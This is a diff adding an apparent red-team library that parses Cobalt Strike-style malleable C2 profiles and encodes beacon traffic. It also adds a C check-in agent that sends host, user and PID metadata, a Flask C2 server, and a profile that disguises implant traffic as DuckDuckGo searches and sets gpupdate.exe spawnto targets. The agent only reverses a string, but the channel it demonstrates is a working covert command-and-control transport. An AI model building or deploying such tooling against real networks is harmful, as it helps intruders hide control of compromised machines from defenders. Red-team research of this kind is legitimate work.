+ if ch == '"': + in_string = False + elif ch == '#': + hash_in_quotes += 1 + else: + if ch == '"': + in_string = True + i += 1 + content = _strip_comments(content) + + # Extract profile name + match = re.search(r'set\s+sample_name\s+"((?:[^"\\]|\\.)*)"', content) + if match: + self.profile_name = _decode_string_str(match.group(1)) + + # Extract useragent + match = re.search(r'set\s+useragent\s+"((?:[^"\\]|\\.)*)"', content) + if match: + self.useragent = _decode_string_str(match.group(1)) + + match = re.search(r'set\s+headers_remove\s+"((?:[^"\\]|\\.)*)"', content) + if match: + raw_headers = _decode_string_str(match.group(1)) + self.headers_remove = [h.strip() for h in raw_headers.split(',') if h.strip()] + + # Parse http-get blocks + for variant, block_content in self._find_named_blocks(content, "http-get"): + transaction = self._parse_http_transaction("GET", variant, block_content) + if transaction: + self.http_get_transactions[variant] = transaction + + # Parse http-post blocks + for variant, block_content in self._find_named_blocks(content, "http-post"): + transaction = self._parse_http_transaction("POST", variant, block_content) + if transaction: + self.http_post_transactions[variant] = transaction + + def _parse_http_transaction(self, method: str, variant: str, content: str) -> Optional[HttpTransaction]: + """Parse a single HTTP transaction block""" + uris = [] + verb = method + client_config = HttpConfig(headers={}, parameters={}) + server_config = HttpConfig(headers={}, parameters={}) + + # Extract URIs + match = re.search(r'set\s+uri\s+"((?:[^"\\]|\\.)*)"', content) + if match: + uri_str = _decode_string_str(match.group(1)) + uris = uri_str.split() + + match = re.search(r'set\s+verb\s+"((?:[^"\\]|\\.)*)"', content) + if match: + verb = _decode_string_str(match.group(1)).upper() + + # Parse client block + client_content = self._extract_block_content(content, "client") + if client_content is not None: + self._parse_config_block(client_content, client_config) + + # Parse server block + server_content = self._extract_block_content(content, "server") + if server_content is not None: + self._parse_config_block(server_content, server_config) + + return HttpTransaction( + variant=variant, + method=verb, + uris=uris, + client=client_config, + server=server_config + ) + + def _parse_config_block(self, content: str, config: HttpConfig): + """Parse client or server configuration block""" + # Parse headers + header_matches = list(re.finditer(r'header\s+"((?:[^"\\]|\\.)*)"\s+"((?:[^"\\]|\\.)*)"', content)) + for match in header_matches: + name = _decode_string_str(match.group(1)) + value = _decode_string_str(match.group(2)) + config.headers[name] = value + + # Parse parameters + param_matches = list(re.finditer(r'parameter\s+"((?:[^"\\]|\\.)*)"\s+"((?:[^"\\]|\\.)*)"', content)) + for match in param_matches: + key = _decode_string_str(match.group(1)) + value = _decode_string_str(match.group(2)) + config.parameters[key] = value + + # Parse metadata block + metadata_content = self._extract_block_content(content, "metadata") + if metadata_content is not None: + config.metadata = self._parse_transform_chain(metadata_content) + + # Parse id block + id_content = self._extract_block_content(content, "id") + if id_content is not None: + config.id = self._parse_transform_chain(id_content) + + # Parse output block + output_content = self._extract_block_content(content, "output") + if output_content is not None: + config.output = self._parse_transform_chain(output_content) + + def _find_named_blocks(self, content: str, keyword: str) -> List[Tuple[str, str]]: + """Find blocks like 'http-get \"variant\" { ... }' with brace matching.""" + results = [] + idx = 0 + while True: + pos = content.find(keyword, idx) + if pos == -1: + break + if pos > 0 and content[pos - 1].isalnum(): + idx = pos + len(keyword) + continue + i = pos + len(keyword) + while i < len(content) and content[i].isspace(): + i += 1 + variant = "default" + if i < len(content) and content[i] == '"': + i += 1 + start = i + while i < len(content) and content[i] != '"': + if content[i] == '\\' and i + 1 < len(content): + i += 2 + continue + i += 1 + variant = content[start:i] + i += 1 + while i < len(content) and content[i].isspace(): + i += 1 + if i >= len(content) or content[i] != '{': + idx = pos + len(keyword) + continue + block_content, end_pos = self._extract_braced_content(content, i) + if block_content is not None: + results.append((variant, block_content)) + idx = end_pos + else: + idx = pos + len(keyword) + return results + + def _extract_block_content(self, content: str, keyword: str) -> Optional[str]: + """Extract first block content for a given keyword, using brace matching.""" + pos = content.find(keyword) + if pos == -1: + return None + i = pos + len(keyword) + while i < len(content) and content[i].isspace(): + i += 1 + if i >= len(content) or content[i] != '{': + return None + block_content, _ = self._extract_braced_content(content, i) + return block_content + + def _extract_braced_content(self, content: str, brace_pos: int) -> Tuple[Optional[str], int]: + """Extract content inside braces starting at brace_pos (which must be '{').""" + depth = 0 + i = brace_pos + start = brace_pos + 1 + in_string = False + while i < len(content): + ch = content[i] + if in_string: + if ch == '\\' and i + 1 < len(content): + i += 2 + continue + if ch == '"': + in_string = False + else: + if ch == '"': + in_string = True + elif ch == '{': + depth += 1 + elif ch == '}': + depth -= 1 + if depth == 0: + return content[start:i], i + 1 + i += 1 + return None, len(content) + + def _parse_transform_chain(self, content: str) -> TransformChain: + """Parse a transformation chain""" + transforms = [] + termination = None + transform_arg_has_backslash = False + termination_target_has_backslash = False + + # Split into statements, ignoring semicolons inside quotes + statements = self._split_statements(content) + + for stmt in statements: + stmt = stmt.strip() + if not stmt: + continue + + # Check for termination statements + if stmt.startswith('header'): + match = re.match(r'header\s+"((?:[^"\\]|\\.)*)"', stmt) + if match: + termination_target_has_backslash = "\\" in match.group(1) + termination = Termination(TerminationType.HEADER, _decode_string_str(match.group(1))) + break + elif stmt.startswith('parameter'): + match = re.match(r'parameter\s+"((?:[^"\\]|\\.)*)"', stmt) + if match: + termination_target_has_backslash = "\\" in match.group(1) + termination = Termination(TerminationType.PARAMETER, _decode_string_str(match.group(1))) + break + elif stmt == 'print': + termination = Termination(TerminationType.PRINT) + break + elif stmt == 'uri-append': + termination = Termination(TerminationType.URI_APPEND) + break + + # Check for transform statements + elif stmt.startswith('prepend'): + match = re.match(r'prepend\s+"((?:[^"\\]|\\.)*)"', stmt) + if match: + transform_arg_has_backslash = transform_arg_has_backslash or ("\\" in match.group(1)) + transforms.append(Transform(TransformType.PREPEND, match.group(1))) + elif stmt.startswith('append'): + match = re.match(r'append\s+"((?:[^"\\]|\\.)*)"', stmt) + if match: + transform_arg_has_backslash = transform_arg_has_backslash or ("\\" in match.group(1)) + transforms.append(Transform(TransformType.APPEND, match.group(1))) + elif stmt == 'base64': + transforms.append(Transform(TransformType.BASE64)) + elif stmt == 'base64url': + transforms.append(Transform(TransformType.BASE64URL)) + elif stmt == 'netbios': + transforms.append(Transform(TransformType.NETBIOS)) + elif stmt == 'netbiosu': + transforms.append(Transform(TransformType.NETBIOSU)) + elif stmt == 'mask': + transforms.append(Transform(TransformType.MASK)) + + return TransformChain(transforms=transforms, termination=termination or Termination(TerminationType.PRINT)) + + + def _split_statements(self, content: str) -> List[str]: + """Split semicolon-delimited statements, respecting quoted strings.""" + statements = [] + buf = [] + in_string = False + i = 0 + while i < len(content): + ch = content[i] + if in_string: + if ch == '\\' and i + 1 < len(content): + buf.append(ch) + buf.append(content[i + 1]) + i += 2 + continue + if ch == '"': + in_string = False + buf.append(ch) + else: + if ch == '"': + in_string = True + buf.append(ch) + elif ch == ';': + stmt = ''.join(buf).strip() + if stmt: + statements.append(stmt) + buf = [] + else: + buf.append(ch) + i += 1 + tail = ''.join(buf).strip() + if tail: + statements.append(tail) + return statements + + +# ========================================================================= +# TRANSFORMATION FUNCTIONS +# ========================================================================= + +class TransformEngine: + """Handles data transformation according to malleable profiles""" + + @staticmethod + def apply_transform(data: bytes, transform: Transform) -> bytes: + """Apply a single transform (forward direction)""" + if transform.type == TransformType.BASE64: + return base64.b64encode(data) + + elif transform.type == TransformType.BASE64URL: + return base64.urlsafe_b64encode(data).rstrip(b'=') + + elif transform.type == TransformType.NETBIOS: + return TransformEngine._netbios_encode(data, b'a') + + elif transform.type == TransformType.NETBIOSU: + return TransformEngine._netbios_encode(data, b'A') + + elif transform.type == TransformType.MASK: + return TransformEngine._mask_encode(data) + + elif transform.type == TransformType.PREPEND: + if transform.argument: + arg = TransformEngine._decode_string(transform.argument) + return arg + data + return data + + elif transform.type == TransformType.APPEND: + if transform.argument: + arg = TransformEngine._decode_string(transform.argument) + return data + arg + return data + + return data + + @staticmethod + def reverse_transform(data: bytes, transform: Transform) -> bytes: + """Reverse a single transform (backward direction)""" + if transform.type == TransformType.BASE64: + try: + return base64.b64decode(data) + except binascii.Error as exc: + raise ProfileMismatchError("transform", f"base64 decode failed: {exc}") from exc + + elif transform.type == TransformType.BASE64URL: + # Add padding if needed + padding = (4 - len(data) % 4) % 4 + data = data + b'=' * padding + try: + return base64.urlsafe_b64decode(data) + except binascii.Error as exc: + raise ProfileMismatchError("transform", f"base64url decode failed: {exc}") from exc + + elif transform.type == TransformType.NETBIOS: + return TransformEngine._netbios_decode(data, b'a') + + elif transform.type == TransformType.NETBIOSU: + return TransformEngine._netbios_decode(data, b'A') + + elif transform.type == TransformType.MASK: + return TransformEngine._mask_decode(data) + + elif transform.type == TransformType.PREPEND: + if transform.argument: + arg = TransformEngine._decode_string(transform.argument) + if data.startswith(arg): + return data[len(arg):] + raise ProfileMismatchError("transform", "prepend mismatch") + return data + + elif transform.type == TransformType.APPEND: + if transform.argument: + arg = TransformEngine._decode_string(transform.argument) + if data.endswith(arg): + return data[:-len(arg)] + raise ProfileMismatchError("transform", "append mismatch") + return data + + return data + + @staticmethod + def apply_chain(data: bytes, chain: TransformChain) -> bytes: + """Apply complete transformation chain (forward)""" + result = data + for transform in chain.transforms: + result = TransformEngine.apply_transform(result, transform) + return result + + @staticmethod + def reverse_chain(data: bytes, chain: TransformChain) -> bytes: + """Reverse complete transformation chain (backward)""" + result = data + # Apply transforms in REVERSE order + for transform in reversed(chain.transforms): + result = TransformEngine.reverse_transform(result, transform) + return result + + @staticmethod + def _netbios_encode(data: bytes, base: bytes) -> bytes: + """NetBIOS encoding""" + base_char = base[0] + result = bytearray() + for byte in data: + result.append(base_char + (byte >> 4)) + result.append(base_char + (byte & 0x0F)) + return bytes(result) + + @staticmethod + def _netbios_decode(data: bytes, base: bytes) -> bytes: + """NetBIOS decoding""" + base_char = base[0] + result = bytearray() + for i in range(0, len(data), 2): + if i + 1 < len(data): + high = data[i] - base_char + low = data[i + 1] - base_char + result.append((high << 4) | low) + return bytes(result) + + @staticmethod + def _mask_encode(data: bytes) -> bytes: + """XOR mask encoding with random key""" + import os + key = os.urandom(4) + masked = bytearray() + for i, byte in enumerate(data): + masked.append(byte ^ key[i % 4]) + return key + bytes(masked) + + @staticmethod + def _mask_decode(data: bytes) -> bytes: + """XOR mask decoding""" + if len(data) < 4: + raise ProfileMismatchError("transform", "mask decode expects 4-byte key") + key = data[:4] + masked = data[4:] + result = bytearray() + for i, byte in enumerate(masked): + result.append(byte ^ key[i % 4]) + return bytes(result) + + @staticmethod + def _decode_string(s: str) -> bytes: + """Decode string with escape sequences""" + result = bytearray() + i = 0 + while i < len(s): + if s[i] == '\\' and i + 1 < len(s): + next_char = s[i + 1] + if next_char == 'n': + result.append(ord('\n')) + i += 2 + elif next_char == 'r': + result.append(ord('\r')) + i += 2 + elif next_char == 't': + result.append(ord('\t')) + i += 2 + elif next_char == '\\': + result.append(ord('\\')) + i += 2 + elif next_char == 'x' and i + 3 < len(s): + hex_str = s[i+2:i+4] + result.append(int(hex_str, 16)) + i += 4 + elif next_char == 'u' and i + 5 < len(s): + hex_str = s[i+2:i+6] + codepoint = int(hex_str, 16) + result.extend(chr(codepoint).encode('utf-8')) + i += 6 + else: + result.append(ord(next_char)) + i += 2 + else: + result.append(ord(s[i])) + i += 1 + return bytes(result) + + +# ========================================================================= +# SERVER EXTRACTION FUNCTIONS +# ========================================================================= + +class MalleableServer: + """Server-side extraction and response building""" + + def __init__(self, profile: MalleableProfile): + self.profile = profile + self.engine = TransformEngine() + + def extract_metadata(self, request: HttpRequest, variant: str = "default") -> bytes: + """Extract metadata from HTTP GET request""" + transaction = self.profile.http_get_transactions.get(variant) + if not transaction or not transaction.client.metadata: + raise ValueError(f"No metadata chain for variant {variant}") + + if not any(request.path.startswith(uri) for uri in transaction.uris): + raise ProfileMismatchError( + "uri", + f"request path '{request.path}' does not match any http-get uri" + ) + + chain = transaction.client.metadata + data = self._extract_from_request(request, chain.termination, transaction.uris) + return self.engine.reverse_chain(data, chain) + + def extract_session_id(self, request: HttpRequest, variant: str = "default") -> bytes: + """Extract session ID from HTTP POST request""" + transaction = self.profile.http_post_transactions.get(variant) + if not transaction or not transaction.client.id: + raise ValueError(f"No id chain for variant {variant}") + + if not any(request.path.startswith(uri) for uri in transaction.uris): + raise ProfileMismatchError( + "uri", + f"request path '{request.path}' does not match any http-post uri" + ) + + chain = transaction.client.id + data = self._extract_from_request(request, chain.termination, transaction.uris) + return self.engine.reverse_chain(data, chain) + + def extract_output(self, request: HttpRequest, variant: str = "default") -> bytes: + """Extract output from HTTP POST request""" + transaction = self.profile.http_post_transactions.get(variant) + if not transaction or not transaction.client.output: + raise ValueError(f"No output chain for variant {variant}") + + if not any(request.path.startswith(uri) for uri in transaction.uris): + raise ProfileMismatchError( + "uri", + f"request path '{request.path}' does not match any http-post uri" + ) + + chain = transaction.client.output + data = self._extract_from_request(request, chain.termination, transaction.uris) + return self.engine.reverse_chain(data, chain) + + def build_get_response(self, data: bytes, variant: str = "default") -> HttpResponse: + """Build HTTP response with tasks (response to GET)""" + transaction = self.profile.http_get_transactions.get(variant) + if not transaction: + raise ValueError(f"No transaction for variant {variant}") + + headers = dict(transaction.server.headers) + body = b'' + + if transaction.server.output: + transformed = self.engine.apply_chain(data, transaction.server.output) + if transaction.server.output.termination.type == TerminationType.PRINT: + body = transformed + elif transaction.server.output.termination.type == TerminationType.HEADER: + headers[transaction.server.output.termination.target] = transformed.decode('utf-8', errors='ignore') + + return HttpResponse(status_code=200, headers=headers, body=body) + + def build_post_response(self, data: bytes = b'', variant: str = "default") -> HttpResponse: + """Build HTTP response for POST""" + transaction = self.profile.http_post_transactions.get(variant) + if not transaction: + raise ValueError(f"No transaction for variant {variant}") + + headers = dict(transaction.server.headers) + body = b'' + + if transaction.server.output and data: + transformed = self.engine.apply_chain(data, transaction.server.output) + if transaction.server.output.termination.type == TerminationType.PRINT: + body = transformed + + return HttpResponse(status_code=200, headers=headers, body=body) + + def _extract_from_request( + self, + request: HttpRequest, + termination: Termination, + uris: Optional[List[str]] = None + ) -> bytes: + """Extract data from HTTP request based on termination type""" + if termination.type == TerminationType.HEADER: + value = request.headers.get(termination.target, '') + return value.encode('utf-8') + + elif termination.type == TerminationType.PARAMETER: + value = request.query.get(termination.target, '') + return value.encode('utf-8') + + elif termination.type == TerminationType.PRINT: + return request.body + + elif termination.type == TerminationType.URI_APPEND: + if not uris: + raise ProfileMismatchError("uri", "uri-append used but no uris configured") + for base in uris: + if request.path.startswith(base): + suffix = request.path[len(base):] + return suffix.encode('utf-8') + raise ProfileMismatchError( + "uri", + f"request path '{request.path}' does not match any uri-append base" + ) + + return b'' + + +# ========================================================================= +# HELPER FUNCTIONS +# ========================================================================= + +def parse_http_request(raw_request: str) -> HttpRequest: + """Parse raw HTTP request string""" + lines = raw_request.split('\r\n') + if not lines: + raise ValueError("Empty request") + + # Parse request line + request_line = lines[0].split(' ') + if len(request_line) < 3: + raise ValueError("Invalid request line") + + method = request_line[0] + full_uri = request_line[1] + + # Parse URI and query string + if '?' in full_uri: + path, query_string = full_uri.split('?', 1) + query = dict(param.split('=', 1) for param in query_string.split('&') if '=' in param) + else: + path = full_uri + query = {} + + # Parse headers + headers = {} + i = 1 + while i < len(lines) and lines[i]: + if ':' in lines[i]: + key, value = lines[i].split(':', 1) + headers[key.strip()] = value.strip() + i += 1 + + # Body is everything after blank line + body = b'' + if i < len(lines): + body = '\r\n'.join(lines[i+1:]).encode('utf-8') + + return HttpRequest( + method=method, + uri=full_uri, + path=path, + query=query, + headers=headers, + body=body + ) + + +if __name__ == '__main__': + # Example usage + import sys + + if len(sys.argv) < 2: + print("Usage: python openmalleable.py ") + sys.exit(1) + + # User handles file I/O, library only accepts string + with open(sys.argv[1], 'r') as f: + profile_content = f.read() + + profile = MalleableProfile(profile_content) + print(f"Loaded profile: {profile.profile_name}") + print(f"HTTP-GET transactions: {list(profile.http_get_transactions.keys())}") + print(f"HTTP-POST transactions: {list(profile.http_post_transactions.keys())}") diff --git a/examples/pingpong_agent.c b/examples/pingpong_agent.c new file mode 100644 index 0000000..0edeffc --- /dev/null +++ b/examples/pingpong_agent.c @@ -0,0 +1,253 @@ +/** + * Ping Pong PoC Agent + * + * Usage: + * pingpong_agent.exe + * + * This agent performs: + * 1) GET check-in (send metadata, receive tasks) + * 2) Execute received command locally + * 3) POST output (send task output back to server) + */ + +#include +#include +#include +#include + +#ifdef _WIN32 +#include +#else +#include +#endif + +#include "openmalleable.h" + +static void print_banner(const char* title) { + printf("============================================================\n"); + printf("%s\n", title); + printf("============================================================\n"); +} + +static void print_bytes_ascii(const char* label, const uint8_t* data, size_t len) { + printf("%s (%zu bytes): ", label, len); + if (data && len > 0) { + printf("\"%.*s\"\n", (int)len, (const char*)data); + } else { + printf("(empty)\n"); + } +} + +static void get_computer_info(char* buffer, size_t bufsize) { + char hostname[256] = "UNKNOWN"; + +#ifdef _WIN32 + DWORD size = sizeof(hostname); + GetComputerNameA(hostname, &size); + char username[256] = "UNKNOWN"; + size = sizeof(username); + GetUserNameA(username, &size); + DWORD pid = GetCurrentProcessId(); + + snprintf(buffer, bufsize, + "Computer=%s User=%s PID=%lu OS=Windows Arch=x64", + hostname, username, pid); +#else + gethostname(hostname, sizeof(hostname)); + snprintf(buffer, bufsize, + "Computer=%s User=%s PID=%d OS=Linux Arch=x64", + hostname, getenv("USER") ? getenv("USER") : "unknown", getpid()); +#endif +} + +static void reverse_string(char* str) { + if (!str) return; + + size_t len = strlen(str); + for (size_t i = 0; i < len / 2; i++) { + char temp = str[i]; + str[i] = str[len - 1 - i]; + str[len - 1 - i] = temp; + } +} + +static void trim_whitespace(char* str) { + if (!str) return; + + // Trim trailing whitespace + size_t len = strlen(str); + while (len > 0 && (str[len - 1] == ' ' || str[len - 1] == '\t' || + str[len - 1] == '\r' || str[len - 1] == '\n')) { + str[--len] = '\0'; + } + + // Trim leading whitespace + char* start = str; + while (*start && (*start == ' ' || *start == '\t' || + *start == '\r' || *start == '\n')) { + start++; + } + + if (start != str) { + memmove(str, start, strlen(start) + 1); + } +} + +int main(int argc, char** argv) { + if (argc != 2) { + printf("Usage: %s \n", argv[0]); + return 1; + } + + const char* profile_path = argv[1]; + const char* host = "127.0.0.1"; + int port = 8080; + int use_https = 0; + + srand((unsigned int)time(NULL)); + + print_banner("Ping Pong PoC Agent"); + + /* User handles file I/O - library only accepts strings */ + printf("[Agent] Reading profile file: %s\n", profile_path); +#ifdef _MSC_VER + FILE* f = NULL; + if (fopen_s(&f, profile_path, "r") != 0) { + f = NULL; + } +#else + FILE* f = fopen(profile_path, "r"); +#endif + if (!f) { + fprintf(stderr, "[Agent] Failed to open profile file\n"); + return 1; + } + + fseek(f, 0, SEEK_END); + long file_size = ftell(f); + fseek(f, 0, SEEK_SET); + + char* profile_content = (char*)malloc(file_size + 1); + if (!profile_content) { + fprintf(stderr, "[Agent] Memory allocation failed\n"); + fclose(f); + return 1; + } + + fread(profile_content, 1, file_size, f); + profile_content[file_size] = '\0'; + fclose(f); + + printf("[Agent] Parsing profile from memory...\n"); + malleable_profile_t* profile = malleable_profile_parse(profile_content); + free(profile_content); /* Done with file content */ + + if (!profile) { + fprintf(stderr, "[Agent] Failed to parse profile\n"); + return 1; + } + printf("[Agent] Profile loaded: %s\n", profile->profile_name ? profile->profile_name : "unnamed"); + printf("[Agent] User-Agent: %s\n", profile->useragent ? profile->useragent : "(none)"); + printf("\n"); + + /* Generate realistic beacon metadata */ + char metadata_buf[512]; + get_computer_info(metadata_buf, sizeof(metadata_buf)); + + /* Add timestamp */ + time_t now = time(NULL); + char final_metadata[1024]; + snprintf(final_metadata, sizeof(final_metadata), + "BEACON-CHECKIN: %s Timestamp=%ld", metadata_buf, (long)now); + + uint8_t* metadata = (uint8_t*)final_metadata; + size_t metadata_len = strlen(final_metadata); + + printf("[Agent] ===== GET: Requesting tasks from server =====\n"); + print_bytes_ascii("[Agent] Metadata", metadata, metadata_len); + + uint8_t* tasks = NULL; + size_t tasks_len = 0; + malleable_error_t err = malleable_callback_get( + profile, + NULL, + host, + port, + use_https, + metadata, + metadata_len, + &tasks, + &tasks_len + ); + + if (err != MALLEABLE_SUCCESS) { + fprintf(stderr, "[Agent] GET callback failed: %s\n", malleable_error_string(err)); + malleable_profile_free(profile); + return 1; + } + + print_bytes_ascii("[Agent] Received task", tasks, tasks_len); + + /* Treat the task as the raw string to reverse */ + char task_str[1024]; + snprintf(task_str, sizeof(task_str), "%.*s", (int)tasks_len, (char*)tasks); + trim_whitespace(task_str); + printf("[Agent] Task string: \"%s\"\n", task_str); + + reverse_string(task_str); + printf("[Agent] Reversed task: \"%s\"\n", task_str); + + /* Generate random session ID */ + int session_num = 10000 + (rand() % 90000); + char session_id_buf[32]; + snprintf(session_id_buf, sizeof(session_id_buf), "%d", session_num); + uint8_t* session_id = (uint8_t*)session_id_buf; + size_t session_id_len = strlen(session_id_buf); + + /* Prepare output data with reversed string */ + char output_buf[8192]; + snprintf(output_buf, sizeof(output_buf), + "TASK-RESULT: ReversedOutput=%s", task_str); + uint8_t* output = (uint8_t*)output_buf; + size_t output_len = strlen(output_buf); + + printf("\n[Agent] ===== POST: Sending task results to server =====\n"); + print_bytes_ascii("[Agent] Session ID", session_id, session_id_len); + print_bytes_ascii("[Agent] Task output", output, output_len); + + uint8_t* response = NULL; + size_t response_len = 0; + err = malleable_callback_post( + profile, + NULL, + host, + port, + use_https, + session_id, + session_id_len, + output, + output_len, + &response, + &response_len + ); + + if (err != MALLEABLE_SUCCESS) { + fprintf(stderr, "[Agent] POST callback failed: %s\n", malleable_error_string(err)); + free(tasks); + malleable_profile_free(profile); + return 1; + } + + if (response && response_len > 0) { + print_bytes_ascii("[Agent] Server confirmation", response, response_len); + free(response); + } else { + printf("[Agent] No confirmation data (normal for POST responses)\n"); + } + + free(tasks); + malleable_profile_free(profile); + printf("\n[Agent] ===== Ping pong complete =====\n"); + printf("[Agent] Successfully executed server task and reported results!\n"); + return 0; +} diff --git a/examples/pingpong_server.py b/examples/pingpong_server.py new file mode 100644 index 0000000..b69703a --- /dev/null +++ b/examples/pingpong_server.py @@ -0,0 +1,215 @@ + +""" +Ping Pong PoC Server (Flask) +""" + +import os +import random +import string +import sys +from http import HTTPStatus +from typing import Dict + +from flask import Flask, Response, request + +# Add include directory to path to import malleable +sys.path.insert(0, os.path.join(os.path.dirname(__file__), "include")) + +from openmalleable import MalleableProfile, MalleableServer, HttpRequest, ProfileMismatchError + +if hasattr(sys.stdout, "reconfigure"): + sys.stdout.reconfigure(line_buffering=True) + +app = Flask(__name__) +_COLOR_BLUE = "\033[34m" +_COLOR_RED = "\033[31m" +_COLOR_RESET = "\033[0m" +_malleable_server: MalleableServer | None = None +_current_challenge: str | None = None + + +def print_banner(title: str) -> None: + print("=" * 60) + print(title) + print("=" * 60) + + +def _log(message: str) -> None: + print(message, flush=True) + + +def _log_colored(message: str, color: str) -> None: + if getattr(sys.stdout, "isatty", lambda: False)(): + _log(f"{color}{message}{_COLOR_RESET}") + else: + _log(message) + + +def _format_request_text(http_request: HttpRequest) -> str: + request_line = f"{http_request.method} {request.full_path or request.path} HTTP/1.1" + lines = [request_line] + for key, value in request.headers.items(): + lines.append(f"{key}: {value}") + lines.append("") + if http_request.body: + body_text = http_request.body.decode("utf-8", errors="replace") + lines.append(body_text) + return "\r\n".join(lines) + + +def _format_response_text(status_code: int, headers: Dict[str, str], body: bytes) -> str: + reason = HTTPStatus(status_code).phrase if status_code in HTTPStatus._value2member_map_ else "" + status_line = f"HTTP/1.1 {status_code} {reason}".rstrip() + lines = [status_line, f"Content-Length: {len(body) if body else 0}"] + for key, value in headers.items(): + lines.append(f"{key}: {value}") + lines.append("") + if body: + body_text = body.decode("utf-8", errors="replace") + lines.append(body_text) + return "\r\n".join(lines) + + +def _to_http_request() -> HttpRequest: + query_dict = {k: v for k, v in request.args.items()} + headers_dict = {k: v for k, v in request.headers.items()} + body = request.get_data(cache=True) or b"" + host = headers_dict.get("Host", "127.0.0.1:8080") + uri = f"http://{host}{request.full_path or request.path}" + + return HttpRequest( + method=request.method, + uri=uri, + path=request.path, + query=query_dict, + headers=headers_dict, + body=body, + ) + + +def _send_response(status_code: int, headers: Dict[str, str], body: bytes) -> Response: + response = Response(body or b"", status=status_code) + response.headers["Content-Length"] = str(len(body) if body else 0) + for key, value in headers.items(): + response.headers[str(key)] = str(value) + return response + + +@app.route("/", defaults={"path": ""}, methods=["GET", "POST"]) +@app.route("/", methods=["GET", "POST"]) +def handle(path: str): + global _current_challenge + if _malleable_server is None: + _log("[Server] Malleable server not initialized.") + return _send_response(500, {}, b"") + + _log(f"\n[DEBUG] {request.method} request received!",) + http_request = _to_http_request() + _log_colored("[DEBUG] Raw HTTP request:\n" + _format_request_text(http_request), _COLOR_BLUE) + + _log("\n" + "=" * 60) + _log(f"[Server] Received {request.method} {http_request.path}") + _log("=" * 60) + + try: + if request.method == "GET": + metadata = _malleable_server.extract_metadata(http_request, "default") + _log(f"[Server] Extracted metadata ({len(metadata)} bytes):") + _log(f"[Server] {metadata.decode('utf-8', errors='ignore')}") + + random_challenge = ''.join(random.choices(string.ascii_letters + string.digits, k=32)) + _current_challenge = random_challenge + + tasks = random_challenge.encode('utf-8') + + _log(f"[Server] Generated challenge: {random_challenge}") + _log(f"[Server] Sending task ({len(tasks)} bytes):") + _log(f"[Server] \"{random_challenge}\"") + + response_obj = _malleable_server.build_get_response(tasks, "default") + response_headers = {k: v for k, v in response_obj.headers.items()} + body = response_obj.body or b"" + _log_colored( + "[DEBUG] Raw HTTP response:\n" + _format_response_text(response_obj.status_code, response_headers, body), + _COLOR_RED, + ) + return _send_response(response_obj.status_code, response_headers, body) + + session_id = _malleable_server.extract_session_id(http_request, "default") + output = _malleable_server.extract_output(http_request, "default") + + _log(f"[Server] Extracted session ID ({len(session_id)} bytes):") + _log(f"[Server] {session_id.decode('utf-8', errors='ignore')}") + _log(f"[Server] Extracted task output ({len(output)} bytes):") + _log(f"[Server] {output.decode('utf-8', errors='ignore')}") + + output_str = output.decode('utf-8', errors='ignore') + + if _current_challenge: + reversed_challenge = _current_challenge[::-1] + _log(f"[Server] Original challenge: {_current_challenge}") + _log(f"[Server] Expected reversed: {reversed_challenge}") + + if reversed_challenge in output_str: + _log(f"[Server] SUCCESS! Verified reversed challenge in output") + confirmation = ( + "CONFIRMED: Task completed successfully! Received reversed string correctly" + ).encode('utf-8') + else: + _log(f"[Server] WARNING: Reversed challenge '{reversed_challenge}' not found in output") + _log(f"[Server] Received: {output_str}") + confirmation = b"CONFIRMED: Output received (verification failed)" + else: + _log(f"[Server] WARNING: No challenge set") + confirmation = b"CONFIRMED: Output received (no challenge)" + + _log(f"[Server] Sending confirmation ({len(confirmation)} bytes)") + + response_obj = _malleable_server.build_post_response(confirmation, "default") + response_headers = {k: v for k, v in response_obj.headers.items()} + body = response_obj.body or b"" + _log_colored( + "[DEBUG] Raw HTTP response:\n" + _format_response_text(response_obj.status_code, response_headers, body), + _COLOR_RED, + ) + return _send_response(response_obj.status_code, response_headers, body) + except ProfileMismatchError as exc: + _log(f"[Server] UNKNOWN REQUEST DID NOT MATCH PROFILE! {exc}") + _log_colored("[DEBUG] Raw HTTP response:\nHTTP/1.1 404 Not Found\r\n\r\n", _COLOR_RED) + return _send_response(404, {}, b"") + except Exception as exc: + _log(f"[Server] Error handling {request.method}: {exc}") + import traceback + + traceback.print_exc() + _log_colored("[DEBUG] Raw HTTP response:\nHTTP/1.1 500 Internal Server Error\r\n\r\n", _COLOR_RED) + return _send_response(500, {}, b"") + + +def main() -> None: + global _malleable_server + if len(sys.argv) != 2: + print("Usage: python pingpong_server.py ") + sys.exit(1) + + profile_path = sys.argv[1] + print_banner("Ping Pong PoC Server") + print(f"[Server] Reading profile file: {profile_path}") + + with open(profile_path, 'r') as f: + profile_content = f.read() + + print(f"[Server] Parsing profile from memory...") + profile = MalleableProfile(profile_content) + _malleable_server = MalleableServer(profile) + + print(f"[Server] Profile loaded: {profile.profile_name}") + print(f"[Server] User-Agent: {profile.useragent}") + print("[Server] Listening on http://127.0.0.1:8080") + print("[Server] Waiting for agent check-in...") + + app.run(host="127.0.0.1", port=8080, debug=False, use_reloader=False) + + +if __name__ == "__main__": + main() diff --git a/profiles/duckduckgo.profile b/profiles/duckduckgo.profile new file mode 100644 index 0000000..c913640 --- /dev/null +++ b/profiles/duckduckgo.profile @@ -0,0 +1,105 @@ +https-certificate { +set keystore ""; +set password ""; +} + +set sleeptime "48000"; +set jitter "65"; +set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"; +set dns_idle "1.1.1.1"; +set maxdns "235"; + +post-ex { +set spawnto_x86 "%windir%\\syswow64\\gpresult.exe"; +set spawnto_x64 "%windir%\\sysnative\\gpupdate.exe"; +} + +http-get { + +set uri "/search"; + +client { +header "Host" "duckduckgo.com"; +header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8"; +header "Cookie" "ax=v176-5"; + +metadata { +base64url; +parameter "q"; +} + +parameter "qs" "ramen"; +parameter "t" "h_"; +parameter "ia" "web"; +} + +server { + +header "Cache-Control" "private, max-age=0"; + header "Content-Type" "text/html; charset=utf-8"; + header "Vary" "Accept-Encoding"; + header "Server" "Microsoft-IIS/8.5"; + header "Connection" "close"; + +output { +netbios; +prepend "ramen at DuckDuckGoIgnore this box please.
